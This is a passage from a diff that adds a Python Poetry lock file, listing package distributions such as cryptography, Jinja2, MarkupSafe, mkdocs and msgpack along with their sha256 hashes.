+    {file = "coverage-5.1-cp38-cp38-win32.whl", hash = "sha256:8fa0cbc7ecad630e5b0f4f35b0f6ad419246b02bc750de7ac66db92667996d24"},
+    {file = "coverage-5.1-cp38-cp38-win_amd64.whl", hash = "sha256:79a3cfd6346ce6c13145731d39db47b7a7b859c0272f02cdb89a3bdcbae233a0"},
+    {file = "coverage-5.1-cp39-cp39-win32.whl", hash = "sha256:a82b92b04a23d3c8a581fc049228bafde988abacba397d57ce95fe95e0338ab4"},
+    {file = "coverage-5.1-cp39-cp39-win_amd64.whl", hash = "sha256:bb28a7245de68bf29f6fb199545d072d1036a1917dca17a1e75bbb919e14ee8e"},
+    {file = "coverage-5.1.tar.gz", hash = "sha256:f90bfc4ad18450c80b024036eaf91e4a246ae287701aaa88eaebebf150868052"},
+]
+cryptography = [
+    {file = "cryptography-2.8-cp27-cp27m-macosx_10_6_intel.whl", hash = "sha256:fb81c17e0ebe3358486cd8cc3ad78adbae58af12fc2bf2bc0bb84e8090fa5ce8"},
+    {file = "cryptography-2.8-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:44ff04138935882fef7c686878e1c8fd80a723161ad6a98da31e14b7553170c2"},
+    {file = "cryptography-2.8-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:369d2346db5934345787451504853ad9d342d7f721ae82d098083e1f49a582ad"},
+    {file = "cryptography-2.8-cp27-cp27m-win32.whl", hash = "sha256:df6b4dca2e11865e6cfbfb708e800efb18370f5a46fd601d3755bc7f85b3a8a2"},
+    {file = "cryptography-2.8-cp27-cp27m-win_amd64.whl", hash = "sha256:7f09806ed4fbea8f51585231ba742b58cbcfbfe823ea197d8c89a5e433c7e912"},
+    {file = "cryptography-2.8-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:58363dbd966afb4f89b3b11dfb8ff200058fbc3b947507675c19ceb46104b48d"},
+    {file = "cryptography-2.8-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:6ec280fb24d27e3d97aa731e16207d58bd8ae94ef6eab97249a2afe4ba643d42"},
+    {file = "cryptography-2.8-cp34-abi3-macosx_10_6_intel.whl", hash = "sha256:b43f53f29816ba1db8525f006fa6f49292e9b029554b3eb56a189a70f2a40879"},
+    {file = "cryptography-2.8-cp34-abi3-manylinux1_x86_64.whl", hash = "sha256:7270a6c29199adc1297776937a05b59720e8a782531f1f122f2eb8467f9aab4d"},
+    {file = "cryptography-2.8-cp34-abi3-manylinux2010_x86_64.whl", hash = "sha256:de96157ec73458a7f14e3d26f17f8128c959084931e8997b9e655a39c8fde9f9"},
+    {file = "cryptography-2.8-cp34-cp34m-win32.whl", hash = "sha256:02079a6addc7b5140ba0825f542c0869ff4df9a69c360e339ecead5baefa843c"},
+    {file = "cryptography-2.8-cp34-cp34m-win_amd64.whl", hash = "sha256:b0de590a8b0979649ebeef8bb9f54394d3a41f66c5584fff4220901739b6b2f0"},
+    {file = "cryptography-2.8-cp35-cp35m-win32.whl", hash = "sha256:ecadccc7ba52193963c0475ac9f6fa28ac01e01349a2ca48509667ef41ffd2cf"},
+    {file = "cryptography-2.8-cp35-cp35m-win_amd64.whl", hash = "sha256:90df0cc93e1f8d2fba8365fb59a858f51a11a394d64dbf3ef844f783844cc793"},
+    {file = "cryptography-2.8-cp36-cp36m-win32.whl", hash = "sha256:1df22371fbf2004c6f64e927668734070a8953362cd8370ddd336774d6743595"},
+    {file = "cryptography-2.8-cp36-cp36m-win_amd64.whl", hash = "sha256:a518c153a2b5ed6b8cc03f7ae79d5ffad7315ad4569b2d5333a13c38d64bd8d7"},
+    {file = "cryptography-2.8-cp37-cp37m-win32.whl", hash = "sha256:4b1030728872c59687badcca1e225a9103440e467c17d6d1730ab3d2d64bfeff"},
+    {file = "cryptography-2.8-cp37-cp37m-win_amd64.whl", hash = "sha256:d31402aad60ed889c7e57934a03477b572a03af7794fa8fb1780f21ea8f6551f"},
+    {file = "cryptography-2.8-cp38-cp38-win32.whl", hash = "sha256:73fd30c57fa2d0a1d7a49c561c40c2f79c7d6c374cc7750e9ac7c99176f6428e"},
+    {file = "cryptography-2.8-cp38-cp38-win_amd64.whl", hash = "sha256:971221ed40f058f5662a604bd1ae6e4521d84e6cad0b7b170564cc34169c8f13"},
+    {file = "cryptography-2.8.tar.gz", hash = "sha256:3cda1f0ed8747339bbdf71b9f38ca74c7b592f24f65cdb3ab3765e4b02871651"},
+    {file = "cryptography-2.9.2-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:daf54a4b07d67ad437ff239c8a4080cfd1cc7213df57d33c97de7b4738048d5e"},
+    {file = "cryptography-2.9.2-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:3b3eba865ea2754738616f87292b7f29448aec342a7c720956f8083d252bf28b"},
+    {file = "cryptography-2.9.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:c447cf087cf2dbddc1add6987bbe2f767ed5317adb2d08af940db517dd704365"},
+    {file = "cryptography-2.9.2-cp27-cp27m-win32.whl", hash = "sha256:f118a95c7480f5be0df8afeb9a11bd199aa20afab7a96bcf20409b411a3a85f0"},
+    {file = "cryptography-2.9.2-cp27-cp27m-win_amd64.whl", hash = "sha256:c4fd17d92e9d55b84707f4fd09992081ba872d1a0c610c109c18e062e06a2e55"},
+    {file = "cryptography-2.9.2-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:d0d5aeaedd29be304848f1c5059074a740fa9f6f26b84c5b63e8b29e73dfc270"},
+    {file = "cryptography-2.9.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:1e4014639d3d73fbc5ceff206049c5a9a849cefd106a49fa7aaaa25cc0ce35cf"},
+    {file = "cryptography-2.9.2-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:96c080ae7118c10fcbe6229ab43eb8b090fccd31a09ef55f83f690d1ef619a1d"},
+    {file = "cryptography-2.9.2-cp35-abi3-manylinux1_x86_64.whl", hash = "sha256:e993468c859d084d5579e2ebee101de8f5a27ce8e2159959b6673b418fd8c785"},
+    {file = "cryptography-2.9.2-cp35-abi3-manylinux2010_x86_64.whl", hash = "sha256:88c881dd5a147e08d1bdcf2315c04972381d026cdb803325c03fe2b4a8ed858b"},
+    {file = "cryptography-2.9.2-cp35-cp35m-win32.whl", hash = "sha256:651448cd2e3a6bc2bb76c3663785133c40d5e1a8c1a9c5429e4354201c6024ae"},
+    {file = "cryptography-2.9.2-cp35-cp35m-win_amd64.whl", hash = "sha256:726086c17f94747cedbee6efa77e99ae170caebeb1116353c6cf0ab67ea6829b"},
+    {file = "cryptography-2.9.2-cp36-cp36m-win32.whl", hash = "sha256:091d31c42f444c6f519485ed528d8b451d1a0c7bf30e8ca583a0cac44b8a0df6"},
+    {file = "cryptography-2.9.2-cp36-cp36m-win_amd64.whl", hash = "sha256:bb1f0281887d89617b4c68e8db9a2c42b9efebf2702a3c5bf70599421a8623e3"},
+    {file = "cryptography-2.9.2-cp37-cp37m-win32.whl", hash = "sha256:18452582a3c85b96014b45686af264563e3e5d99d226589f057ace56196ec78b"},
+    {file = "cryptography-2.9.2-cp37-cp37m-win_amd64.whl", hash = "sha256:22e91636a51170df0ae4dcbd250d318fd28c9f491c4e50b625a49964b24fe46e"},
+    {file = "cryptography-2.9.2-cp38-cp38-win32.whl", hash = "sha256:844a76bc04472e5135b909da6aed84360f522ff5dfa47f93e3dd2a0b84a89fa0"},
+    {file = "cryptography-2.9.2-cp38-cp38-win_amd64.whl", hash = "sha256:1dfa985f62b137909496e7fc182dac687206d8d089dd03eaeb28ae16eec8e7d5"},
+    {file = "cryptography-2.9.2.tar.gz", hash = "sha256:a0c30272fb4ddda5f5ffc1089d7405b7a71b0b0f51993cb4e5dbb4590b2fc229"},
+]
+distlib = [
+    {file = "distlib-0.3.0.zip", hash = "sha256:2e166e231a26b36d6dfe35a48c4464346620f8645ed0ace01ee31822b288de21"},
+]
+entrypoints = [
+    {file = "entrypoints-0.3-py2.py3-none-any.whl", hash = "sha256:589f874b313739ad35be6e0cd7efde2a4e9b6fea91edcc34e58ecbb8dbe56d19"},
+    {file = "entrypoints-0.3.tar.gz", hash = "sha256:c70dd71abe5a8c85e55e12c19bd91ccfeec11a6e99044204511f9ed547d48451"},
+]
+enum34 = [
+    {file = "enum34-1.1.10-py2-none-any.whl", hash = "sha256:a98a201d6de3f2ab3db284e70a33b0f896fbf35f8086594e8c9e74b909058d53"},
+    {file = "enum34-1.1.10-py3-none-any.whl", hash = "sha256:c3858660960c984d6ab0ebad691265180da2b43f07e061c0f8dca9ef3cffd328"},
+    {file = "enum34-1.1.10.tar.gz", hash = "sha256:cce6a7477ed816bd2542d03d53db9f0db935dd013b70f336a95c73979289f248"},
+]
+filelock = [
+    {file = "filelock-3.0.12-py3-none-any.whl", hash = "sha256:929b7d63ec5b7d6b71b0fa5ac14e030b3f70b75747cef1b10da9b879fef15836"},
+    {file = "filelock-3.0.12.tar.gz", hash = "sha256:18d82244ee114f543149c66a6e0c14e9c4f8a1044b5cdaadd0f82159d6a6ff59"},
+]
+funcsigs = [
+    {file = "funcsigs-1.0.2-py2.py3-none-any.whl", hash = "sha256:330cc27ccbf7f1e992e69fef78261dc7c6569012cf397db8d3de0234e6c937ca"},
+    {file = "funcsigs-1.0.2.tar.gz", hash = "sha256:a7bb0f2cf3a3fd1ab2732cb49eba4252c2af4240442415b4abce3b87022a8f50"},
+]
+functools32 = [
+    {file = "functools32-3.2.3-2.tar.gz", hash = "sha256:f6253dfbe0538ad2e387bd8fdfd9293c925d63553f5813c4e587745416501e6d"},
+    {file = "functools32-3.2.3-2.zip", hash = "sha256:89d824aa6c358c421a234d7f9ee0bd75933a67c29588ce50aaa3acdf4d403fa0"},
+]
+future = [
+    {file = "future-0.18.2.tar.gz", hash = "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d"},
+]
+futures = [
+    {file = "futures-3.3.0-py2-none-any.whl", hash = "sha256:49b3f5b064b6e3afc3316421a3f25f66c137ae88f068abbf72830170033c5e16"},
+    {file = "futures-3.3.0.tar.gz", hash = "sha256:7e033af76a5e35f58e56da7a91e687706faf4e7bdfb2cbc3f2cca6b9bcda9794"},
+]
+glob2 = [
+    {file = "glob2-0.6.tar.gz", hash = "sha256:f5b0a686ff21f820c4d3f0c4edd216704cea59d79d00fa337e244a2f2ff83ed6"},
+]
+html5lib = [
+    {file = "html5lib-1.0.1-py2.py3-none-any.whl", hash = "sha256:20b159aa3badc9d5ee8f5c647e5efd02ed2a66ab8d354930bd9ff139fc1dc0a3"},
+    {file = "html5lib-1.0.1.tar.gz", hash = "sha256:66cb0dcfdbbc4f9c3ba1a63fdb511ffdbd4f513b2b6d81b80cd26ce6b3fb3736"},
+]
+httpretty = [
+    {file = "httpretty-0.9.7.tar.gz", hash = "sha256:66216f26b9d2c52e81808f3e674a6fb65d4bf719721394a1a9be926177e55fbe"},
+]
+identify = [
+    {file = "identify-1.4.19-py2.py3-none-any.whl", hash = "sha256:781fd3401f5d2b17b22a8b18b493a48d5d948e3330634e82742e23f9c20234ef"},
+    {file = "identify-1.4.19.tar.gz", hash = "sha256:249ebc7e2066d6393d27c1b1be3b70433f824a120b1d8274d362f1eb419e3b52"},
+]
+idna = [
+    {file = "idna-2.8-py2.py3-none-any.whl", hash = "sha256:ea8b7f6188e6fa117537c3df7da9fc686d485087abf6ac197f9c46432f7e4a3c"},
+    {file = "idna-2.8.tar.gz", hash = "sha256:c357b3f628cf53ae2c4c05627ecc484553142ca23264e593d327bcde5e9c3407"},
+    {file = "idna-2.9-py2.py3-none-any.whl", hash = "sha256:a068a21ceac8a4d63dbfd964670474107f541babbd2250d61922f029858365fa"},
+    {file = "idna-2.9.tar.gz", hash = "sha256:7588d1c14ae4c77d74036e8c22ff447b26d0fde8f007354fd48a7814db15b7cb"},
+]
+importlib-metadata = [
+    {file = "importlib_metadata-1.1.3-py2.py3-none-any.whl", hash = "sha256:7c7f8ac40673f507f349bef2eed21a0e5f01ddf5b2a7356a6c65eb2099b53764"},
+    {file = "importlib_metadata-1.1.3.tar.gz", hash = "sha256:7a99fb4084ffe6dae374961ba7a6521b79c1d07c658ab3a28aa264ee1d1b14e3"},
+]
+importlib-resources = [
+    {file = "importlib_resources-1.0.2-py2.py3-none-any.whl", hash = "sha256:6e2783b2538bd5a14678284a3962b0660c715e5a0f10243fd5e00a4b5974f50b"},
+    {file = "importlib_resources-1.0.2.tar.gz", hash = "sha256:d3279fd0f6f847cced9f7acc19bd3e5df54d34f93a2e7bb5f238f81545787078"},
+    {file = "importlib_resources-1.5.0-py2.py3-none-any.whl", hash = "sha256:85dc0b9b325ff78c8bef2e4ff42616094e16b98ebd5e3b50fe7e2f0bbcdcde49"},
+    {file = "importlib_resources-1.5.0.tar.gz", hash = "sha256:6f87df66833e1942667108628ec48900e02a4ab4ad850e25fbf07cb17cf734ca"},
+]
+ipaddress = [
+    {file = "ipaddress-1.0.23-py2.py3-none-any.whl", hash = "sha256:6e0f4a39e66cb5bb9a137b00276a2eff74f93b71dcbdad6f10ff7df9d3557fcc"},
+    {file = "ipaddress-1.0.23.tar.gz", hash = "sha256:b7f8e0369580bb4a24d5ba1d7cc29660a4a6987763faf1d8a8046830e020e7e2"},
+]
+jeepney = [
+    {file = "jeepney-0.4.3-py3-none-any.whl", hash = "sha256:d6c6b49683446d2407d2fe3acb7a368a77ff063f9182fe427da15d622adc24cf"},
+    {file = "jeepney-0.4.3.tar.gz", hash = "sha256:3479b861cc2b6407de5188695fa1a8d57e5072d7059322469b62628869b8e36e"},
+]
+jinja2 = [
+    {file = "Jinja2-2.10.3-py2.py3-none-any.whl", hash = "sha256:74320bb91f31270f9551d46522e33af46a80c3d619f4a4bf42b3164d30b5911f"},
+    {file = "Jinja2-2.10.3.tar.gz", hash = "sha256:9fe95f19286cfefaa917656583d020be14e7859c6b0252588391e47db34527de"},
+    {file = "Jinja2-2.11.2-py2.py3-none-any.whl", hash = "sha256:f0a4641d3cf955324a89c04f3d94663aa4d638abe8f733ecd3582848e1c37035"},
+    {file = "Jinja2-2.11.2.tar.gz", hash = "sha256:89aab215427ef59c34ad58735269eb58b1a5808103067f7bb9d5836c651b3bb0"},
+]
+joblib = [
+    {file = "joblib-0.14.1-py2.py3-none-any.whl", hash = "sha256:bdb4fd9b72915ffb49fde2229ce482dd7ae79d842ed8c2b4c932441495af1403"},
+    {file = "joblib-0.14.1.tar.gz", hash = "sha256:0630eea4f5664c463f23fbf5dcfc54a2bc6168902719fa8e19daf033022786c8"},
+]
+jsonschema = [
+    {file = "jsonschema-3.2.0-py2.py3-none-any.whl", hash = "sha256:4e5b3cf8216f577bee9ce139cbe72eca3ea4f292ec60928ff24758ce626cd163"},
+    {file = "jsonschema-3.2.0.tar.gz", hash = "sha256:c8a85b28d377cc7737e46e2d9f2b4f44ee3c0e1deac6bf46ddefc7187d30797a"},
+]
+keyring = [
+    {file = "keyring-18.0.1-py2.py3-none-any.whl", hash = "sha256:7b29ebfcf8678c4da531b2478a912eea01e80007e5ddca9ee0c7038cb3489ec6"},
+    {file = "keyring-18.0.1.tar.gz", hash = "sha256:67d6cc0132bd77922725fae9f18366bb314fd8f95ff4d323a4df41890a96a838"},
+    {file = "keyring-20.0.1-py2.py3-none-any.whl", hash = "sha256:c674f032424b4bffc62abeac5523ec49cc84aed07a480c3233e0baf618efc15c"},
+    {file = "keyring-20.0.1.tar.gz", hash = "sha256:963bfa7f090269d30bdc5e25589e5fd9dad2cf2a7c6f176a7f2386910e5d0d8d"},
+]
+livereload = [
+    {file = "livereload-2.6.1-py2.py3-none-any.whl", hash = "sha256:78d55f2c268a8823ba499305dcac64e28ddeb9a92571e12d543cd304faf5817b"},
+    {file = "livereload-2.6.1.tar.gz", hash = "sha256:89254f78d7529d7ea0a3417d224c34287ebfe266b05e67e51facaf82c27f0f66"},
+]
+lockfile = [
+    {file = "lockfile-0.12.2-py2.py3-none-any.whl", hash = "sha256:6c3cb24f344923d30b2785d5ad75182c8ea7ac1b6171b08657258ec7429d50fa"},
+    {file = "lockfile-0.12.2.tar.gz", hash = "sha256:6aed02de03cba24efabcd600b30540140634fc06cfa603822d508d5361e9f799"},
+]
+lunr = [
+    {file = "lunr-0.5.8-py2.py3-none-any.whl", hash = "sha256:aab3f489c4d4fab4c1294a257a30fec397db56f0a50273218ccc3efdbf01d6ca"},
+    {file = "lunr-0.5.8.tar.gz", hash = "sha256:c4fb063b98eff775dd638b3df380008ae85e6cb1d1a24d1cd81a10ef6391c26e"},
+]
+markdown = [
+    {file = "Markdown-3.0.1-py2.py3-none-any.whl", hash = "sha256:c00429bd503a47ec88d5e30a751e147dcb4c6889663cd3e2ba0afe858e009baa"},
+    {file = "Markdown-3.0.1.tar.gz", hash = "sha256:d02e0f9b04c500cde6637c11ad7c72671f359b87b9fe924b2383649d8841db7c"},
+    {file = "Markdown-3.1.1-py2.py3-none-any.whl", hash = "sha256:56a46ac655704b91e5b7e6326ce43d5ef72411376588afa1dd90e881b83c7e8c"},
+    {file = "Markdown-3.1.1.tar.gz", hash = "sha256:2e50876bcdd74517e7b71f3e7a76102050edec255b3983403f1a63e7c8a41e7a"},
+    {file = "Markdown-3.2.2-py3-none-any.whl", hash = "sha256:c467cd6233885534bf0fe96e62e3cf46cfc1605112356c4f9981512b8174de59"},
+    {file = "Markdown-3.2.2.tar.gz", hash = "sha256:1fafe3f1ecabfb514a5285fca634a53c1b32a81cb0feb154264d55bf2ff22c17"},
+]
+markdown-include = [
+    {file = "markdown-include-0.5.1.tar.gz", hash = "sha256:72a45461b589489a088753893bc95c5fa5909936186485f4ed55caa57d10250f"},
+]
+markupsafe = [
+    {file = "MarkupSafe-1.1.1-cp27-cp27m-macosx_10_6_intel.whl", hash = "sha256:09027a7803a62ca78792ad89403b1b7a73a01c8cb65909cd876f7fcebd79b161"},
+    {file = "MarkupSafe-1.1.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:e249096428b3ae81b08327a63a485ad0878de3fb939049038579ac0ef61e17e7"},
+    {file = "MarkupSafe-1.1.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:500d4957e52ddc3351cabf489e79c91c17f6e0899158447047588650b5e69183"},
+    {file = "MarkupSafe-1.1.1-cp27-cp27m-win32.whl", hash = "sha256:b2051432115498d3562c084a49bba65d97cf251f5a331c64a12ee7e04dacc51b"},
+    {file = "MarkupSafe-1.1.1-cp27-cp27m-win_amd64.whl", hash = "sha256:98c7086708b163d425c67c7a91bad6e466bb99d797aa64f965e9d25c12111a5e"},
+    {file = "MarkupSafe-1.1.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:cd5df75523866410809ca100dc9681e301e3c27567cf498077e8551b6d20e42f"},
+    {file = "MarkupSafe-1.1.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:43a55c2930bbc139570ac2452adf3d70cdbb3cfe5912c71cdce1c2c6bbd9c5d1"},
+    {file = "MarkupSafe-1.1.1-cp34-cp34m-macosx_10_6_intel.whl", hash = "sha256:1027c282dad077d0bae18be6794e6b6b8c91d58ed8a8d89a89d59693b9131db5"},
+    {file = "MarkupSafe-1.1.1-cp34-cp34m-manylinux1_i686.whl", hash = "sha256:62fe6c95e3ec8a7fad637b7f3d372c15ec1caa01ab47926cfdf7a75b40e0eac1"},
+    {file = "MarkupSafe-1.1.1-cp34-cp34m-manylinux1_x86_64.whl", hash = "sha256:88e5fcfb52ee7b911e8bb6d6aa2fd21fbecc674eadd44118a9cc3863f938e735"},
+    {file = "MarkupSafe-1.1.1-cp34-cp34m-win32.whl", hash = "sha256:ade5e387d2ad0d7ebf59146cc00c8044acbd863725f887353a10df825fc8ae21"},
+    {file = "MarkupSafe-1.1.1-cp34-cp34m-win_amd64.whl", hash = "sha256:09c4b7f37d6c648cb13f9230d847adf22f8171b1ccc4d5682398e77f40309235"},
+    {file = "MarkupSafe-1.1.1-cp35-cp35m-macosx_10_6_intel.whl", hash = "sha256:79855e1c5b8da654cf486b830bd42c06e8780cea587384cf6545b7d9ac013a0b"},
+    {file = "MarkupSafe-1.1.1-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:c8716a48d94b06bb3b2524c2b77e055fb313aeb4ea620c8dd03a105574ba704f"},
+    {file = "MarkupSafe-1.1.1-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:7c1699dfe0cf8ff607dbdcc1e9b9af1755371f92a68f706051cc8c37d447c905"},
+    {file = "MarkupSafe-1.1.1-cp35-cp35m-win32.whl", hash = "sha256:6dd73240d2af64df90aa7c4e7481e23825ea70af4b4922f8ede5b9e35f78a3b1"},
+    {file = "MarkupSafe-1.1.1-cp35-cp35m-win_amd64.whl", hash = "sha256:9add70b36c5666a2ed02b43b335fe19002ee5235efd4b8a89bfcf9005bebac0d"},
+    {file = "MarkupSafe-1.1.1-cp36-cp36m-macosx_10_6_intel.whl", hash = "sha256:24982cc2533820871eba85ba648cd53d8623687ff11cbb805be4ff7b4c971aff"},
+    {file = "MarkupSafe-1.1.1-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:00bc623926325b26bb9605ae9eae8a215691f33cae5df11ca5424f06f2d1f473"},
+    {file = "MarkupSafe-1.1.1-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:717ba8fe3ae9cc0006d7c451f0bb265ee07739daf76355d06366154ee68d221e"},
+    {file = "MarkupSafe-1.1.1-cp36-cp36m-win32.whl", hash = "sha256:535f6fc4d397c1563d08b88e485c3496cf5784e927af890fb3c3aac7f933ec66"},
+    {file = "MarkupSafe-1.1.1-cp36-cp36m-win_amd64.whl", hash = "sha256:b1282f8c00509d99fef04d8ba936b156d419be841854fe901d8ae224c59f0be5"},
+    {file = "MarkupSafe-1.1.1-cp37-cp37m-macosx_10_6_intel.whl", hash = "sha256:8defac2f2ccd6805ebf65f5eeb132adcf2ab57aa11fdf4c0dd5169a004710e7d"},
+    {file = "MarkupSafe-1.1.1-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:46c99d2de99945ec5cb54f23c8cd5689f6d7177305ebff350a58ce5f8de1669e"},
+    {file = "MarkupSafe-1.1.1-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:ba59edeaa2fc6114428f1637ffff42da1e311e29382d81b339c1817d37ec93c6"},
+    {file = "MarkupSafe-1.1.1-cp37-cp37m-win32.whl", hash = "sha256:b00c1de48212e4cc9603895652c5c410df699856a2853135b3967591e4beebc2"},
+    {file = "MarkupSafe-1.1.1-cp37-cp37m-win_amd64.whl", hash = "sha256:9bf40443012702a1d2070043cb6291650a0841ece432556f784f004937f0f32c"},
+    {file = "MarkupSafe-1.1.1.tar.gz", hash = "sha256:29872e92839765e546828bb7754a68c418d927cd064fd4708fab9fe9c8bb116b"},
+]
+mkdocs = [
+    {file = "mkdocs-1.0.4-py2.py3-none-any.whl", hash = "sha256:8cc8b38325456b9e942c981a209eaeb1e9f3f77b493ad755bfef889b9c8d356a"},
+    {file = "mkdocs-1.0.4.tar.gz", hash = "sha256:17d34329aad75d5de604b9ed4e31df3a4d235afefdc46ce7b1964fddb2e1e939"},
+    {file = "mkdocs-1.1.2-py3-none-any.whl", hash = "sha256:096f52ff52c02c7e90332d2e53da862fde5c062086e1b5356a6e392d5d60f5e9"},
+    {file = "mkdocs-1.1.2.tar.gz", hash = "sha256:f0b61e5402b99d7789efa032c7a74c90a20220a9c81749da06dbfbcbd52ffb39"},
+]
+mock = [
+    {file = "mock-3.0.5-py2.py3-none-any.whl", hash = "sha256:d157e52d4e5b938c550f39eb2fd15610db062441a9c2747d3dbfa9298211d0f8"},
+    {file = "mock-3.0.5.tar.gz", hash = "sha256:83657d894c90d5681d62155c82bda9c1187827525880eda8ff5df4ec813437c3"},
+]
+more-itertools = [
+    {file = "more-itertools-5.0.0.tar.gz", hash = "sha256:38a936c0a6d98a38bcc2d03fdaaedaba9f412879461dd2ceff8d37564d6522e4"},
+    {file = "more_itertools-5.0.0-py2-none-any.whl", hash = "sha256:c0a5785b1109a6bd7fac76d6837fd1feca158e54e521ccd2ae8bfe393cc9d4fc"},
+    {file = "more_itertools-5.0.0-py3-none-any.whl", hash = "sha256:fe7a7cae1ccb57d33952113ff4fa1bc5f879963600ed74918f1236e212ee50b9"},
+    {file = "more-itertools-7.2.0.tar.gz", hash = "sha256:409cd48d4db7052af495b09dec721011634af3753ae1ef92d2b32f73a745f832"},
+    {file = "more_itertools-7.2.0-py3-none-any.whl", hash = "sha256:92b8c4b06dac4f0611c0729b2f2ede52b2e1bac1ab48f089c7ddc12e26bb60c4"},
+    {file = "more-itertools-8.3.0.tar.gz", hash = "sha256:558bb897a2232f5e4f8e2399089e35aecb746e1f9191b6584a151647e89267be"},
+    {file = "more_itertools-8.3.0-py3-none-any.whl", hash = "sha256:7818f596b1e87be009031c7653d01acc46ed422e6656b394b0f765ce66ed4982"},
+]
+msgpack = [
+    {file = "msgpack-1.0.0-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:cec8bf10981ed70998d98431cd814db0ecf3384e6b113366e7f36af71a0fca08"},
+    {file = "msgpack-1.0.0-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:aa5c057eab4f40ec47ea6f5a9825846be2ff6bf34102c560bad5cad5a677c5be"},
+    {file = "msgpack-1.0.0-cp36-cp36m-macosx_10_13_x86_64.whl", hash = "sha256:4233b7f86c1208190c78a525cd3828ca1623359ef48f78a6fea4b91bb995775a"},
+    {file = "msgpack-1.0.0-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:b3758dfd3423e358bbb18a7cccd1c74228dffa7a697e5be6cb9535de625c0dbf"},
+    {file = "msgpack-1.0.0-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:25b3bc3190f3d9d965b818123b7752c5dfb953f0d774b454fd206c18fe384fb8"},
+    {file = "msgpack-1.0.0-cp36-cp36m-win32.whl", hash = "sha256:e7bbdd8e2b277b77782f3ce34734b0dfde6cbe94ddb74de8d733d603c7f9e2b1"},
+    {file = "msgpack-1.0.0-cp36-cp36m-win_amd64.whl", hash = "sha256:5dba6d074fac9b24f29aaf1d2d032306c27f04187651511257e7831733293ec2"},
+    {file = "msgpack-1.0.0-cp37-cp37m-macosx_10_13_x86_64.whl", hash = "sha256:908944e3f038bca67fcfedb7845c4a257c7749bf9818632586b53bcf06ba4b97"},
+    {file = "msgpack-1.0.0-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:db685187a415f51d6b937257474ca72199f393dad89534ebbdd7d7a3b000080e"},
+    {file = "msgpack-1.0.0-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:ea41c9219c597f1d2bf6b374d951d310d58684b5de9dc4bd2976db9e1e22c140"},
+    {file = "msgpack-1.0.0-cp37-cp37m-win32.whl", hash = "sha256:e35b051077fc2f3ce12e7c6a34cf309680c63a842db3a0616ea6ed25ad20d272"},
+    {file = "msgpack-1.0.0-cp37-cp37m-win_amd64.whl", hash = "sha256:5bea44181fc8e18eed1d0cd76e355073f00ce232ff9653a0ae88cb7d9e643322"},
+    {file = "msgpack-1.0.0-cp38-cp38-macosx_10_13_x86_64.whl", hash = "sha256:c901e8058dd6653307906c5f157f26ed09eb94a850dddd989621098d347926ab"},
+    {file = "msgpack-1.0.0-cp38-cp38-manylinux1_i686.whl", hash = "sha256:271b489499a43af001a2e42f42d876bb98ccaa7e20512ff37ca78c8e12e68f84"},
+    {file = "msgpack-1.0.0-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:7a22c965588baeb07242cb561b63f309db27a07382825fc98aecaf0827c1538e"},
+    {file = "msgpack-1.0.0-cp38-cp38-win32.whl", hash = "sha256:002a0d813e1f7b60da599bdf969e632074f9eec1b96cbed8fb0973a63160a408"},
+    {file = "msgpack-1.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:39c54fdebf5fa4dda733369012c59e7d085ebdfe35b6cf648f09d16708f1be5d"},
+    {file = "msgpack-1.0.0.tar.gz", hash = "sha256:9534d5cc480d4aff720233411a1f765be90885750b07df772380b34c10ecb5c0"},
+]
+nltk = [
+    {file = "nltk-3.5.zip", hash = "sha256:845365449cd8c5f9731f7cb9f8bd6fd0767553b9d53af9eb1b3abf7700936b35"},
+]
+nodeenv = [
+    {file = "nodeenv-1.4.0-py2.py3-none-any.whl", hash = "sha256:4b0b77afa3ba9b54f4b6396e60b0c83f59eaeb2d63dc3cc7a70f7f4af96c82bc"},
+]
+packaging = [
+    {file = "packaging-20.4-py2.py3-none-any.whl", hash = "sha256:998416ba6962ae7fbd6596850b80e17859a5753ba17c32284f67bfff33784181"},
+    {file = "packaging-20.4.tar.gz", hash = "sha256:4357f74f47b9c12db93624a82154e9b120fa8293699949152b22065d556079f8"},
+]
+pastel = [
+    {file = "pastel-0.2.0-py2.py3-none-any.whl", hash = "sha256:18b559dc3ad4ba9b8bd5baebe6503f25f36d21460f021cf27a8d889cb5d17840"},
+    {file = "pastel-0.2.0.tar.gz", hash = "sha256:46155fc523bdd4efcd450bbcb3f2b94a6e3b25edc0eb493e081104ad09e1ca36"},
+]
+pathlib2 = [
+    {file = "pathlib2-2.3.5-py2.py3-none-any.whl", hash = "sha256:0ec8205a157c80d7acc301c0b18fbd5d44fe655968f5d947b6ecef5290fc35db"},
+    {file = "pathlib2-2.3.5.tar.gz", hash = "sha256:6cd9a47b597b37cc57de1c05e56fb1a1c9cc9fab04fe78c29acd090418529868"},
+]
+pathspec = [
+    {file = "pathspec-0.8.0-py2.py3-none-any.whl", hash = "sha256:7d91249d21749788d07a2d0f94147accd8f845507400749ea19c1ec9054a12b0"},
